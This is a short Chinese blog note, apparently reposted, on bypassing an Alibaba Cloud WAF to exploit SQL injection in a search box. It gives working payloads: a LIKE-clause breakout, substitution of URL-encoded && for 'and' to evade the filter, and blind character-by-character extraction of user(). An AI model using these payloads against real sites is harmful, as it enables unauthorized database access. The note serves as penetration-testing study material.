繞過阿里雲waf進行SQL注入


做個筆記吧,某SQL注入點的繞過,有阿里雲waf的。

    首先遇到是個搜索框的注入點:

      演示下:

     

 

針對搜索框,我們的sql語句一般是怎么寫的?

    本地演示:select * from product where pname like '%華為%'

      

 

 

我們如何進行注入判斷?

select * from product where pname like '%華為%' and 1=1 and '%%'='%%'

select * from product where pname like '%華為%' and 1=2 and '%%'='%%'

      

 

 

那么我們的sql注入payload就是:%' and 1=1 and '%%'='%

我們嘗試注入這段語句:

 

直接遭到了攔截,我猜測可能是對and進行了過濾。不允許出現and

在SQL注入測試中我們知道一個小技巧那就是

and可以用&&進行替代。

or可以用||進行替代。

  

因為我們的注入類型是GET類型,所以我們要對&&進行url編碼:

  然后構造如下payload:%' %26%26 1=1 %26%26 '%%'='%

    

 

正確回顯了數據,如果我們and 1=2呢:

不顯示信息,現在我們可以說這里是存在SQL注入的

 

 

我們使用這種方法判斷出存在注入,現在我們還要繼續出數據,挖掘SQL注入漏洞最基本的得注入出user()或者是database()名字:

    我們對user()進行判斷:

    輸入payload:%' %26%26 user() like 'a%' %26%26 '%%'='%

 

 

返回沒有輸出內容,說明我們的user()第一位不是a

繼續探測:

直到輸入o

    

 

輸出了正確的內容,說明user()第一位就是o。

 

做個記錄。。

 

 

 

    

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM